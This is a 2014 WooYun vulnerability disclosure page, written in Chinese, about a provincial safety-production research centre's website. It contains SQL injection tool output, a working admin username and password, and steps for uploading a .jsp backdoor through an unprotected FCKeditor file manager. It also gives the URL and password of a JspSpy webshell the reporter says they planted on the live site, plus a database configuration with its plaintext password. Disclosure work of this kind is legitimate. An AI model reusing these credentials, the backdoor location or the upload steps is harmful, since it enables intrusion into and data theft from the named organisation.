当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-055706

漏洞标题：某省安全生产科学技术研究中心问题打包（注+任+敏+fck+弱明+配错）

相关厂商：某省安全生产科学技术研究中心

漏洞作者： 雅柏菲卡

提交时间：2014-04-06 10:55

修复时间：2014-05-21 10:56

公开时间：2014-05-21 10:56

漏洞类型：文件上传导致任意代码执行

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-06： 细节已通知厂商并且等待厂商处理中
2014-04-11： 厂商已经确认，细节仅向厂商公开
2014-04-21： 细节向核心白帽子及相关领域专家公开
2014-05-01： 细节向普通白帽子公开
2014-05-11： 细节向实习白帽子公开
2014-05-21： 细节向公众公开

简要描述：

...........

详细说明：

..........

漏洞证明：

Target: 		http://www.jxakzx.com/notices.jsp?keyno=14
Host IP:		103.28.204.112
Web Server: 	Apache/2.2.2 (Win32) mod_jk/1.2.18
DB Server: 	MySQL >=5
Resp. Time(avg):	606 ms
Current User: 	jxak@localhost
Sql Version: 	5.5.19
Current DB: 	jxak
System User: 	jxak@localhost
Host Name: 	bbdx-5961d93ea4
Installation dir: 	D:/Program Files/MySQL/MySQL Server 5.5/
DB User: 	'jxak'@'%'
Data Bases: 	information_schema
		jxak
http://www.jxakzx.com/login.jsp
admin/jxakzx123
在发布文章处
QQ截图20140405225804.png







QQ截图20140405225828.png




点击最后一个图的红框的浏览服务器
http://www.jxakzx.com/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector  会进来这个地方 



QQ截图20140405230224.png




红框处可以任意上传 .jsp的后门
上传后选择后门作为图片
点击确定后 按照常规流程发布
http://www.jxakzx.com/noticesInfo.jsp?keyno=18&keyId=445
我事先上传并发布的
http://www.jxakzx.com/UserFiles/Image/JspSpy.jsp
密码 admin
从一大堆的文件中 翻到这个路径
D:/tomcat/kxwi/webapps/ROOT/WEB-INF/classes
- <config>
- <db-info>
  <driver-name>com.mysql.jdbc.Driver</driver-name> 
  <url>jdbc:mysql://127.0.0.1:3306/jxak</url> 
  <username>jxak</username> 
  <password>40187937</password> 
  </db-info>
  </config>
数据库配置赤裸裸的摆在眼前

修复方案：

.....................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-04-11 09:33

厂商回复：

最新状态：

暂无